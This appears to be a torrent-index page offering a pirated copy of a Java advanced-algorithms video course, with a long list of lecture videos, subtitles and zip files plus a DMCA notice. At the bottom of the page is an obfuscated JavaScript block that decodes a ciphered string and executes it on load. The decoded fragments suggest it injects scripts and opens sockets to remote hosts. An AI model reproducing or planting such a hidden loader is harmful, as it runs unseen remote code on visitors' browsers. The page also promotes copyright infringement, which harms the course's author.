Holczer Balazs - Advanced Algorithms in Java 2018

mp4   Hot：529   Size：1.28 GB   Created：2019-02-05 13:40:08   Update：2021-12-13 15:56:32  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 04 Shortest Path Algorithms/023 Dijkstra algorithm introduction - with adjacency matrix.mp4 35.83 MB
    02 Breadth-First Search/007 BFS - WebCrawler implementation.mp4 33.1 MB
    05 Spanning Trees/037 Kruskal algorithm implementation II - disjoint set.mp4 31.05 MB
    04 Shortest Path Algorithms/027 Bellman-Ford algorithm implementation I.mp4 30.4 MB
    03 Depth-First Search/017 Maze solving algorithm implementation.mp4 30.29 MB
    08 Travelling Salesman Problem (TSP)/070 TSP implementation with simulated annealing II - tour.mp4 29.87 MB
    09 Euler cycle - Chinese Postman Problem/075 Euler's cycles introduction.mp4 28.93 MB
    08 Travelling Salesman Problem (TSP)/068 Travelling salesman problem introduction.mp4 24.72 MB
    02 Breadth-First Search/005 BFS implementation.mp4 24.42 MB
    05 Spanning Trees/040 Prims lazy algorithm implementation I.mp4 24.24 MB
    07 Maximum Flow Problem/061 Maximum flow implementation I - Edge_ Vertex.mp4 24.15 MB
    03 Depth-First Search/011 Topological ordering introduction.mp4 23.8 MB
    05 Spanning Trees/042 Spanning trees introduction - eager Prim's algorithm.mp4 23.75 MB
    05 Spanning Trees/043 Eager Prim's algorithm implementation.mp4 23.28 MB
    05 Spanning Trees/033 Union-find data structure (disjoint sets).mp4 23.15 MB
    03 Depth-First Search/009 DFS implementation I - with stack.mp4 23.03 MB
    08 Travelling Salesman Problem (TSP)/071 TSP implementation with simulated annealing III - algorithm.mp4 23.01 MB
    05 Spanning Trees/035 Spanning trees introduction - Kruskal algorithm.mp4 22.92 MB
    04 Shortest Path Algorithms/021 Dijkstra algorithm introduction - example.mp4 22.85 MB
    03 Depth-First Search/008 Depth-first search introduction.mp4 22.14 MB
    08 Travelling Salesman Problem (TSP)/069 TSP implementation with simulated annealing I - city.mp4 21.94 MB
    04 Shortest Path Algorithms/026 Dijkstra algorithm implementation II.mp4 21.9 MB
    08 Travelling Salesman Problem (TSP)/073 Tabu search introduction.mp4 21.21 MB
    07 Maximum Flow Problem/055 Maximum flow introduction - properties.mp4 20.88 MB
    02 Breadth-First Search/004 Breadth-first search introduction.mp4 20.74 MB
    05 Spanning Trees/038 Kruskal algorithm implementation III.mp4 20.73 MB
    04 Shortest Path Algorithms/022 Bellman-Ford algorithm introduction.mp4 20.6 MB
    04 Shortest Path Algorithms/029 DAG shortest path implementation.mp4 20.18 MB
    04 Shortest Path Algorithms/024 Shortest path algorithms applications.mp4 19.98 MB
    04 Shortest Path Algorithms/025 Dijkstra algorithm implementation I.mp4 19.62 MB
    07 Maximum Flow Problem/059 Maximum flow introduction - example.mp4 19.18 MB
    01 Introduction/002 Graph theory introduction.mp4 18.7 MB
    02 Breadth-First Search/006 BFS - WebCrawler (core of search engines).mp4 18.26 MB
    06 Strongly Connected Components/047 Kosaraju implementation I - the Graph class.mp4 17.52 MB
    06 Strongly Connected Components/046 Kosaraju algorithm introduction.mp4 17 MB
    06 Strongly Connected Components/045 Strongly connected components introduction.mp4 16.8 MB
    05 Spanning Trees/044 Applications of spanning trees.mp4 16.78 MB
    07 Maximum Flow Problem/063 Maximum flow implementation III - Ford-Fulkerson algorithm.mp4 16.77 MB
    03 Depth-First Search/016 Cycle detection implementation II.mp4 16.77 MB
    05 Spanning Trees/039 Spanning trees introduction - lazy Prim's algorithm.mp4 15.95 MB
    05 Spanning Trees/036 Kruskal algorithm implementation I.mp4 15.86 MB
    03 Depth-First Search/015 Cycle detection implementation I.mp4 15.78 MB
    06 Strongly Connected Components/053 Applications of strongly connected components.mp4 15.56 MB
    04 Shortest Path Algorithms/031 Arbitrage situations on FOREX implementation.mp4 15.56 MB
    07 Maximum Flow Problem/057 Maximum flow introduction - residual networks.mp4 15.36 MB
    07 Maximum Flow Problem/054 Maximum flow introduction - basics.mp4 15.02 MB
    07 Maximum Flow Problem/064 Maximum flow implementation IV - augmentation.mp4 14.67 MB
    06 Strongly Connected Components/048 Kosaraju implementation II.mp4 14.54 MB
    05 Spanning Trees/041 Prims lazy algorithm implementation II - the core.mp4 14.37 MB
    06 Strongly Connected Components/051 Tarjan implementation I.mp4 13.73 MB
    03 Depth-First Search/014 Cycle detection introduction.mp4 13.52 MB
    05 Spanning Trees/034 Union-find data structure illustration.mp4 13.3 MB
    03 Depth-First Search/013 Topological ordering implementation II.mp4 13.06 MB
    06 Strongly Connected Components/050 Tarjan algorithm introduction.mp4 13.06 MB
    04 Shortest Path Algorithms/020 Dijkstra algorithm introduction - algorithm.mp4 12.92 MB
    04 Shortest Path Algorithms/019 Dijkstra algorithm introduction - basics.mp4 12.3 MB
    07 Maximum Flow Problem/056 Maximum flow introduction - cuts.mp4 12.18 MB
    04 Shortest Path Algorithms/028 Bellman-Ford algorithm implementation II.mp4 12.06 MB
    03 Depth-First Search/018 Memory management_ BFS vs DFS.mp4 11.83 MB
    03 Depth-First Search/012 Topological ordering implementation I.mp4 11.45 MB
    10 Source Code & Slides/077 AdvancedAlgosSlides.zip 11.07 MB
    07 Maximum Flow Problem/062 Maximum flow implementation II - FlowNetwork class.mp4 11.06 MB
    07 Maximum Flow Problem/058 Maximum flow introduction - Ford-Fulkerson algorithm.mp4 10.86 MB
    08 Travelling Salesman Problem (TSP)/074 Tabu search introduction II.mp4 10.39 MB
    08 Travelling Salesman Problem (TSP)/072 TSP implementation with simulated annealing IV - testing.mp4 9.25 MB
    04 Shortest Path Algorithms/032 Longest path implementation.mp4 9.06 MB
    07 Maximum Flow Problem/066 Bipartite matching problem introduction.mp4 8.49 MB
    03 Depth-First Search/010 DFS implementation II - with recursion.mp4 8.35 MB
    04 Shortest Path Algorithms/030 Arbitrage situations on FOREX introduction.mp4 8.23 MB
    01 Introduction/001 Introduction.mp4 7.27 MB
    07 Maximum Flow Problem/060 Maximum flow introduction - applications.mp4 7.14 MB
    06 Strongly Connected Components/049 Kosaraju algorithm implementation III - test.mp4 6.95 MB
    07 Maximum Flow Problem/065 Maximum flow implementation V - testing.mp4 6.8 MB
    06 Strongly Connected Components/052 Tarjan implementation II - test.mp4 6.41 MB
    07 Maximum Flow Problem/067 Bipartite matching implementation.mp4 6.07 MB
    10 Source Code & Slides/076 GraphalgorithmsCode.zip 99.08 KB
    03 Depth-First Search/017 Maze solving algorithm implementation-subtitle-en.srt 21.06 KB
    05 Spanning Trees/037 Kruskal algorithm implementation II - disjoint set-subtitle-en.srt 18.68 KB
    02 Breadth-First Search/007 BFS - WebCrawler implementation-subtitle-en.srt 17.02 KB
    04 Shortest Path Algorithms/027 Bellman-Ford algorithm implementation I-subtitle-en.srt 16.29 KB
    08 Travelling Salesman Problem (TSP)/070 TSP implementation with simulated annealing II - tour-subtitle-en.srt 15.75 KB
    02 Breadth-First Search/005 BFS implementation-subtitle-en.srt 15.08 KB
    05 Spanning Trees/043 Eager Prim's algorithm implementation-subtitle-en.srt 14.94 KB
    05 Spanning Trees/033 Union-find data structure (disjoint sets)-subtitle-en.srt 14.88 KB
    03 Depth-First Search/008 Depth-first search introduction-subtitle-en.srt 14.85 KB
    05 Spanning Trees/042 Spanning trees introduction - eager Prim's algorithm-subtitle-en.srt 14.73 KB
    08 Travelling Salesman Problem (TSP)/068 Travelling salesman problem introduction-subtitle-en.srt 14.59 KB
    05 Spanning Trees/035 Spanning trees introduction - Kruskal algorithm-subtitle-en.srt 14.52 KB
    03 Depth-First Search/011 Topological ordering introduction-subtitle-en.srt 14.14 KB
    07 Maximum Flow Problem/061 Maximum flow implementation I - Edge_ Vertex-subtitle-en.srt 13.84 KB
    04 Shortest Path Algorithms/021 Dijkstra algorithm introduction - example-subtitle-en.srt 13.73 KB
    04 Shortest Path Algorithms/026 Dijkstra algorithm implementation II-subtitle-en.srt 13.63 KB
    04 Shortest Path Algorithms/029 DAG shortest path implementation-subtitle-en.srt 13.34 KB
    02 Breadth-First Search/004 Breadth-first search introduction-subtitle-en.srt 13 KB
    09 Euler cycle - Chinese Postman Problem/075 Euler's cycles introduction-subtitle-en.srt 12.92 KB
    03 Depth-First Search/009 DFS implementation I - with stack-subtitle-en.srt 12.59 KB
    04 Shortest Path Algorithms/023 Dijkstra algorithm introduction - with adjacency matrix-subtitle-en.srt 12.5 KB
    05 Spanning Trees/038 Kruskal algorithm implementation III-subtitle-en.srt 12.46 KB
    05 Spanning Trees/040 Prims lazy algorithm implementation I-subtitle-en.srt 12.37 KB
    04 Shortest Path Algorithms/025 Dijkstra algorithm implementation I-subtitle-en.srt 12.36 KB
    08 Travelling Salesman Problem (TSP)/071 TSP implementation with simulated annealing III - algorithm-subtitle-en.srt 12.31 KB
    08 Travelling Salesman Problem (TSP)/069 TSP implementation with simulated annealing I - city-subtitle-en.srt 11.96 KB
    06 Strongly Connected Components/046 Kosaraju algorithm introduction-subtitle-en.srt 11.88 KB
    04 Shortest Path Algorithms/022 Bellman-Ford algorithm introduction-subtitle-en.srt 11.84 KB
    07 Maximum Flow Problem/055 Maximum flow introduction - properties-subtitle-en.srt 11.79 KB
    08 Travelling Salesman Problem (TSP)/073 Tabu search introduction-subtitle-en.srt 11.69 KB
    07 Maximum Flow Problem/059 Maximum flow introduction - example-subtitle-en.srt 11.36 KB
    04 Shortest Path Algorithms/024 Shortest path algorithms applications-subtitle-en.srt 11.35 KB
    05 Spanning Trees/036 Kruskal algorithm implementation I-subtitle-en.srt 10.7 KB
    05 Spanning Trees/044 Applications of spanning trees-subtitle-en.srt 10.35 KB
    01 Introduction/002 Graph theory introduction-subtitle-en.srt 10.2 KB
    06 Strongly Connected Components/053 Applications of strongly connected components-subtitle-en.srt 9.85 KB
    07 Maximum Flow Problem/063 Maximum flow implementation III - Ford-Fulkerson algorithm-subtitle-en.srt 9.74 KB
    03 Depth-First Search/015 Cycle detection implementation I-subtitle-en.srt 9.67 KB
    05 Spanning Trees/039 Spanning trees introduction - lazy Prim's algorithm-subtitle-en.srt 9.54 KB
    03 Depth-First Search/016 Cycle detection implementation II-subtitle-en.srt 9.34 KB
    03 Depth-First Search/014 Cycle detection introduction-subtitle-en.srt 9.24 KB
    05 Spanning Trees/034 Union-find data structure illustration-subtitle-en.srt 9.23 KB
    04 Shortest Path Algorithms/031 Arbitrage situations on FOREX implementation-subtitle-en.srt 9.12 KB
    07 Maximum Flow Problem/054 Maximum flow introduction - basics-subtitle-en.srt 8.98 KB
    06 Strongly Connected Components/047 Kosaraju implementation I - the Graph class-subtitle-en.srt 8.61 KB
    07 Maximum Flow Problem/057 Maximum flow introduction - residual networks-subtitle-en.srt 8.58 KB
    05 Spanning Trees/041 Prims lazy algorithm implementation II - the core-subtitle-en.srt 8.43 KB
    06 Strongly Connected Components/045 Strongly connected components introduction-subtitle-en.srt 8.27 KB
    04 Shortest Path Algorithms/020 Dijkstra algorithm introduction - algorithm-subtitle-en.srt 8.12 KB
    07 Maximum Flow Problem/064 Maximum flow implementation IV - augmentation-subtitle-en.srt 8.11 KB
    04 Shortest Path Algorithms/019 Dijkstra algorithm introduction - basics-subtitle-en.srt 7.9 KB
    06 Strongly Connected Components/050 Tarjan algorithm introduction-subtitle-en.srt 7.67 KB
    04 Shortest Path Algorithms/028 Bellman-Ford algorithm implementation II-subtitle-en.srt 7.64 KB
    02 Breadth-First Search/006 BFS - WebCrawler (core of search engines)-subtitle-en.srt 7.48 KB
    06 Strongly Connected Components/048 Kosaraju implementation II-subtitle-en.srt 7.42 KB
    03 Depth-First Search/012 Topological ordering implementation I-subtitle-en.srt 7.34 KB
    03 Depth-First Search/013 Topological ordering implementation II-subtitle-en.srt 7.04 KB
    03 Depth-First Search/018 Memory management_ BFS vs DFS-subtitle-en.srt 6.7 KB
    07 Maximum Flow Problem/056 Maximum flow introduction - cuts-subtitle-en.srt 6.46 KB
    06 Strongly Connected Components/051 Tarjan implementation I-subtitle-en.srt 6.32 KB
    08 Travelling Salesman Problem (TSP)/072 TSP implementation with simulated annealing IV - testing-subtitle-en.srt 6.05 KB
    07 Maximum Flow Problem/058 Maximum flow introduction - Ford-Fulkerson algorithm-subtitle-en.srt 5.97 KB
    08 Travelling Salesman Problem (TSP)/074 Tabu search introduction II-subtitle-en.srt 5.95 KB
    07 Maximum Flow Problem/062 Maximum flow implementation II - FlowNetwork class-subtitle-en.srt 5.91 KB
    04 Shortest Path Algorithms/030 Arbitrage situations on FOREX introduction-subtitle-en.srt 5.32 KB
    04 Shortest Path Algorithms/032 Longest path implementation-subtitle-en.srt 5.3 KB
    03 Depth-First Search/010 DFS implementation II - with recursion-subtitle-en.srt 5.2 KB
    07 Maximum Flow Problem/066 Bipartite matching problem introduction-subtitle-en.srt 5.06 KB
    01 Introduction/001 Introduction-subtitle-en.srt 5.04 KB
    07 Maximum Flow Problem/060 Maximum flow introduction - applications-subtitle-en.srt 4.19 KB
    07 Maximum Flow Problem/065 Maximum flow implementation V - testing-subtitle-en.srt 3.86 KB
    10 Source Code & Slides/078 FINAL-COUPONS.txt 3.54 KB
    06 Strongly Connected Components/049 Kosaraju algorithm implementation III - test-subtitle-en.srt 3.19 KB
    08 Travelling Salesman Problem (TSP)/069 TSP.zip 3.13 KB
    06 Strongly Connected Components/052 Tarjan implementation II - test-subtitle-en.srt 2.96 KB
    07 Maximum Flow Problem/067 Bipartite matching implementation-subtitle-en.srt 2.91 KB
    10 Source Code & Slides/078 DISCOUNT FOR OTHER COURSES!.html 1.26 KB
    01 Introduction/003 Complexity theory.html 1.25 KB
    10 Source Code & Slides/076 Source code.html 1.16 KB
    10 Source Code & Slides/077 Slides.html 1.15 KB
    01 Introduction/003 free-complexity-theory.zip 264 B

Download Info

  • Tips

    “Holczer Balazs - Advanced Algorithms in Java 2018” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();